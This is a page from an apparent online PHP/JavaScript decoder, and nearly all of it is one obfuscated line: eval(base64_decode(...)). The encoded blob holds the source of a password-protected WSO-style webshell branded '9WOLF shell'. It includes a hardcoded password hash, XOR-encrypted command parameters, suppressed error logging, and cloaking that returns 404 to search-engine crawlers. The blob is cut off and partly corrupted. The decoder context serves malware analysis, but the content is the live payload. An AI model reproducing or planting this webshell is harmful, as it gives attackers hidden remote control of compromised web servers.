Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level


 eval("" . base64_decode("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Z2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkgew0KCWZ1bmN0aW9uIHN0cmlwc2xhc2hlc19hcnJheSgkYXJyYXkpIHsNCgkJcmV0dXJuIGlzX2FycmF5KCRhcnJheSkgPyBhcnJheV9tYXAoJ3N0cmlwc2xhc2hlc19hcnJheScsICRhcnJheSkgOiBzdHJpcHNsYXNoZXMoJGFycmF5KTsNCgl9DQoJJF9QT1NUID0gc3RyaXBzbGFzaGVzX2FycmF5KCRfUE9TVCk7DQogICAgJF9DT09LSUUgPSBzdHJpcHNsYXNoZXNfYXJyYXkoJF9DT09LSUUpOw0KfQ0KLyogKNChKSAxMS4yMDExIG9SYiAqLw0KaWYoIWVtcHR5KCTilpspKSB7DQogICAgaWYoaXNzZXQoJF9QT1NUWydwYXNzJpICYmIChtZDUoJF9QT1NUWydwYXNzJpID09ICTilpspKQ0KICAgICAgICBwcm90b3R5cGUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSksICTilpspOw0KICAgIGlmICghaXNzZXQoJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldKSB8fCAoJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldICE9ICTilpspKQ0KICAgICAgICBoYXJkTG9naW4oKTsNCn0NCmlmKCFpc3NldCgkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4J10pKQ0KICAgICRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ2FqYXgnXSA9IChib29sKSTilpg7DQpmdW5jdGlvbiBoYXJkTG9naW4oKSB7DQoJCWlmKCFlbXB0eSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7DQoJCSAgJHVzZXJBZ2VudHMgPSBhcnJheSgiR29vZ2xlIiwgIlNsdXJwIiwgIk1TTkJvdCIsICJpYV9hcmNoaXZlciIsICJZYW5kZXgiLCAiUmFtYmxlciIpOw0KCQkgIGlmKHByZWdfbWF0Y2goJy8nIC4gaW1wbG9kZSgnfCcsICR1c2VyQWdlbnRzKSAuICcvaScsICRfU0VSVkVSWydIVFRQX1VT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FyQ29kZSgoYzE+PjEyKXwyMjQpK1N0cmluZy5mcm9tQ2hhckNvZGUoKChjMT4+NikmNjMpfDEyOCkrU3RyaW5nLmZyb21DaGFyQ29kZSgoYzEmNjMpfDEyOCk7fWlmKGVuYyE9PW51bGwpe2lmKGVuZD5zdGFydCl7dXRmdGV4dCs9c3RyaW5nLnNsaWNlKHN0YXJ0LGVuZCk7fXV0ZnRleHQrPWVuYztzdGFydD1lbmQ9bisxO319aWYoZW5kPnN0YXJ0KXt1dGZ0ZXh0Kz1zdHJpbmcuc2xpY2Uoc3RhcnQsc3RyaW5nbCk7fXJldHVybiB1dGZ0ZXh0O30NCglmdW5jdGlvbiBiYXNlNjRfZW5jb2RlKGRhdGEpe3ZhciBiNjQgPSAnQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLz0nO3ZhciBvMSxvMixvMyxoMSxoMixoMyxoNCxiaXRzLGk9MCxhYz0wLGVuYz0nJyx0bXBfYXJyPVtdO2lmICghZGF0YSl7cmV0dXJuIGRhdGE7fWRhdGE9dXRmOF9lbmNvZGUoZGF0YSsnJyk7ZG97bzE9ZGF0YS5jaGFyQ29kZUF0KGkrKyk7bzI9ZGF0YS5jaGFyQ29kZUF0KGkrKyk7bzM9ZGF0YS5jaGFyQ29kZUF0KGkrKyk7Yml0cz1vMTw8MTZ8bzI8PDh8bzM7aDE9Yml0cz4+MTgmMHgzZjtoMj1iaXRzPj4xMiYweDNmO2gzPWJpdHM+PjYmMHgzZjtoND1iaXRzJjB4M2Y7dG1wX2FyclthYysrXT1iNjQuY2hhckF0KGgxKStiNjQuY2hhckF0KGgyKStiNjQuY2hhckF0KGgzKStiNjQuY2hhckF0KGg0KTt9d2hpbGUoaTxkYXRhLmxlbmd0aCk7ZW5jPXRtcF9hcnIuam9pbignJyk7c3dpdGNoIChkYXRhLmxlbmd0aCUzKXtjYXNlIDE6ZW5jPWVuYy5zbGljZSgwLC0yKSsnPT0nO2JyZWFrO2Nhc2UgMjplbmM9ZW5jLnNsaWNlKDAsLTEpKy